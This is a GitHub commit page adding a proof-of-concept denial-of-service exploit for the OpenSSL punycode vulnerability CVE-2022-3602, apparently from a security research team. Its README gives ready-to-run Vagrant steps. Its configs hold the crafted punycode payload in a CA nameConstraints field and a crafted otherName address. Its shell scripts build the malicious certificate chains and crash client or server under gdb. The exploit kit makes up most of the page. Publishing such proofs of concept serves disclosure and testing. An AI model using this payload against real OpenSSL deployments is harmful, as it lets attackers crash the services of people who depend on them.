Skip to content

Commit

Permalink
Add OpenSSL punycode vulnerability PoC
Browse files Browse the repository at this point in the history
  • Loading branch information
christophetd committed Nov 1, 2022
1 parent 2630484 commit d25e1ac
Show file tree
Hide file tree
Showing 40 changed files with 1,020 additions and 0 deletions.
59 changes: 59 additions & 0 deletions proof-of-concept-exploits/openssl-punycode-vulnerability/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# OpenSSL punycode vulnerability (CVE-2022-3602)

This folder contains a proof of concept DoS exploit for the OpenSSL high severity (initially reported as critical) punycode vulnerability tracked as CVE-2022-3602. In this PoC we have a ready-to-use [Vagrant box](#using-vagrant), and a set of [bash scripts](#compile-it-yourself) to help you combile and run the two attack scenarios.

![openssl vagrant poc](openssl-vagrant-poc.gif "openssl vagrant poc")


## Using Vagrant

This Vagrant configuration will launch the vagrant environment with:
* A Linux Ubuntu box containing the OpenSSL server with a malicious certificate
* A Windows box with the vulnerable OpenSSL client


1. Run vagrant
```
vagrant up
```


2. Initiate RDP access to the windows VM

```
vagrant rdp windows
```

3. Use any RDP client to connect to the windows VM, using the credentials `vagrant` / `vagrant`

4. Open the windows command line and navigate to the PoC directory

```
cd C:\Users\vagrant\Documents\WindowsCrash\
```

We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++)


5. Connect to the malicious server

```
openssl.exe s_client -connect 192.168.56.3:3000
```

As you will see, this will cause openssl.exe to crash when verifying the malicious certificate. You can see details about the crash in the event viewer.

## Compile it yourself

We provided a set of easy-to-uuse bash scripts to generate the certificate and run OpenSSL for both scenarios:

* Malicious client sending crafted certificate to a server which verifies client certificates chain [here](./malicious_client/)
* Malicious server having serving malicious crafted certificates chain to client. Clients will always checks for certificates chain [here](./malicious_server/)

## Acknowledgements

- Eslam Salem
- Frederic Baguelin
- Nick Frichette
- Jeremy Fox

Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
Several scripts are available to ease the generation of client / server certificates so as to running client / server commands for testing purpose with gdb.

# run.sh

## run_vuln_server

This is the main command that can bootstrap all the environment.

```run.sh run_vuln_server```

1. Fetch OpenSSL source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph.
2. Build server certificate chains
3. Build client certificate chains
4. start server gdb session with previously openssl binary compiled at step1. Gdb commands will:
* set a breakpoint on the vulnerable function
* run the server command

Finally as displayed in the script, you just need to trigger the server's vulnerable function with the following command:

```
cd client && ./run_client.sh
```

## compile

```run.sh compile```

Fetches OpenSSL source code, statically compiles it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph.

## build_client

```run.sh build_client```

Rebuilds the client certificate chains. Useful if you updated the client configuration and just want to use the new certs.

## build_server

```run.sh build_server```

Behaves like the previous command but server related.

## clean / clean_server / clean_client

```run.sh clean```

These commands will delete all files created at build step. You can clean globally by calling clean, or just for server with clean_server, just for client with clean_client
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#b nc_match_single
r s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
# This definition stops the following lines choking if HOME isn't
# defined.
HOME = .
RANDFILE = $ENV::HOME/.rnd

# Extra OBJECT IDENTIFIER info:
#oid_file = $ENV::HOME/.oid
oid_section = new_oids

[ new_oids ]
# Policies used by the TSA examples.
tsa_policy1 = 1.2.3.4.1
tsa_policy2 = 1.2.3.4.5.6
tsa_policy3 = 1.2.3.4.5.7

####################################################################
[ ca ]
default_ca = CA_default # The default ca section

[ CA_default ]
dir = $ENV::PWD # Where everything is kept
certs = $dir/certs # Where the issued certs are kept
database = $dir/index.txt # database index file.
# several certs with same subject.
new_certs_dir = $dir/certs # default place for new certs.
certificate = $dir/certs/cacert.pem # The CA certificate
serial = $dir/serial # The current serial number
crlnumber = $dir/crlnumber # the current crl number
# must be commented out to leave a V1 CRL
private_key = $dir/private/ca.key.pem # The private key

name_opt = ca_default # Subject Name options
cert_opt = ca_default # Certificate field options

default_days = 365 # how long to certify for
default_crl_days= 30 # how long before next CRL
default_md = sha256 # use SHA-256 by default
preserve = no # keep passed DN ordering
policy = policy_match

# For the CA policy
[ policy_match ]
countryName = match
stateOrProvinceName = match
organizationName = match
organizationalUnitName = optional
commonName = supplied
emailAddress = optional

[ policy_anything ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = supplied
emailAddress = optional

####################################################################
[ req ]
default_bits = 2048
default_md = sha256
default_keyfile = privkey.pem
distinguished_name = req_distinguished_name
attributes = req_attributes
x509_extensions = v3_ca # The extentions to add to the self signed cert

[ req_distinguished_name ]
countryName = Country Name (2 letter code)
countryName_default = FR
countryName_value = FR
countryName_min = 2
countryName_max = 2
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default = IdF
stateOrProvinceName_value = IdF
localityName = Locality Name (eg, city)
localityName_default = Paris
localityName_value = Paris
0.organizationName = Organization Name (eg, company)
0.organizationName_default = DataDog
0.organizationName_value = DataDog
organizationalUnitName = Organizational Unit Name (eg, section)
organizationalUnitName_default = SecurityResearch
organizationalUnitName_value = SecurityResearch
commonName = Common Name (eg, your name or your server\'s hostname)
commonName_max = 64
commonName_value = KraftCert
emailAddress = Email Address
emailAddress_max = 64
emailAddress_value = ""
[ req_attributes ]
challengePassword = A challenge password
challengePassword_min = 4
challengePassword_max = 20
unstructuredName = An optional company name
[ v3_req ]
# Extensions to add to a certificate request
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
[ v3_ca ]
# Extensions for a typical CA
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid:always,issuer
basicConstraints = critical,CA:true
# Payload is here
nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com
[ crl_ext ]
# issuerAltName=issuer:copy
authorityKeyIdentifier=keyid:always
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
[ req ]
distinguished_name = req_distinguished_name

[ req_distinguished_name ]
countryName = Country Name (2 letter code)
countryName_default = FR
countryName_value = FR
countryName_min = 2
countryName_max = 2
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default = IdF
stateOrProvinceName_value = IdF
localityName = Locality Name (eg, city)
localityName_default = Paris
localityName_value = Paris
0.organizationName = Organization Name (eg, company)
0.organizationName_default = DataDog
0.organizationName_value = DataDog
organizationalUnitName = Organizational Unit Name (eg, section)
organizationalUnitName_default = SecurityResearch
organizationalUnitName_value = SecurityResearch
commonName = Common Name (eg, your name or your server\'s hostname)
commonName_max = 64
commonName_value = MaliciousClientCert
emailAddress = Email Address
emailAddress_max = 64
emailAddress_value = ""
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
basicConstraints = critical,CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
nsCertType = client, email
keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, emailProtection

# Need to define subjectAltName with otherName
subjectAltName = @alts
[alts]
otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
gdb ../openssl/apps/openssl -command=client.gdb
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
rm -rf index.txt serial private certs
touch index.txt
echo 01 > serial
mkdir private certs

#########################
# Create CA certificate #
#########################

# Generate private key for CA certificate
openssl genrsa -out private/ca.key.pem 2048
# Generate CA certificate
openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem

#############################
# Create Client certificate #
#############################

# Generate private key for client certificate
openssl genrsa -out certs/client.key.pem 2048
# Generate CSR for client certificate
openssl req -new -key certs/client.key.pem -config configs/client.cnf -out certs/client.csr
# Create client certificate
openssl ca -config configs/ca.cnf -extfile configs/client_ext.cnf -days 1650 -notext -batch -in certs/client.csr -out certs/client.cert.pem
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
../openssl/apps/openssl s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
cwd=$PWD

compile () {
if [ ! -f $cwd/openssl/apps/openssl ]; then
echo "[+] Compile debug mode version of OpenSSL 3.0.6"
wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.6.zip
unzip openssl-3.0.6.zip
mv openssl-openssl-3.0.6 openssl
cd openssl
./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc`
else
echo "[+] OpenSSL 3.0.6 already compiled: SKIP"
fi
}

build_server () {
cd $cwd/server
./gen.sh
}

clean_server () {
echo "cleaning Server certificates"
rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial*
}

build_client () {
cd $cwd/client
./gen.sh
}

clean_client () {
echo "cleaning Server certificates"
rm -rf $cwd/client/certs $cwd/client/private $cwd/client/index.* $cwd/client/serial*
}

clean () {
rm -rf openssl*
clean_client
clean_server
}

all () {
compile
build_server
build_client
}

run_vuln_server () {
compile
build_server
build_client
echo -e "\n===================================================================================\n"
echo -e " RUN MALICIOUS CLIENT\n"
echo "Send crafted certificate with the following command in another term:"
echo "cd $cwd/client && ./run_client.sh"
echo -e "\n===================================================================================\n"
cd $cwd/server
./gdb_vuln_server.sh
}

if (test $# -eq 1); then
if (test $1 = "clean"); then
clean
elif (test $1 = "compile"); then
compile
elif (test $1 = "build_server"); then
build_server
elif (test $1 = "build_client"); then
build_client
elif (test $1 = "clean_server"); then
clean_server
elif (test $1 = "clean_client"); then
clean_client
elif (test $1 = "all"); then
all
elif (test $1 = "run_vuln_server"); then
run_vuln_server
fi
fi
Loading

0 comments on commit d25e1ac

Please sign in to comment.